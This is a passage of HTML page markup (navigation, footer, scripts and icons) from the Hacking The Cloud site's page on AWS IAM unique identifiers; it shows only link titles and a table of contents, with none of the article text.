4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">January 4, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">July 27, 2020</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#iam-id-identifiers class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> IAM unique identifiers </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1 checked> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=true> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> IAM unique identifiers </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> IAM unique identifiers </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#akia class=md-nav__link> <span class=md-ellipsis> AKIA </span> </a> </li> <li class=md-nav__item> <a href=#asia class=md-nav__link> <span class=md-ellipsis> ASIA </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a 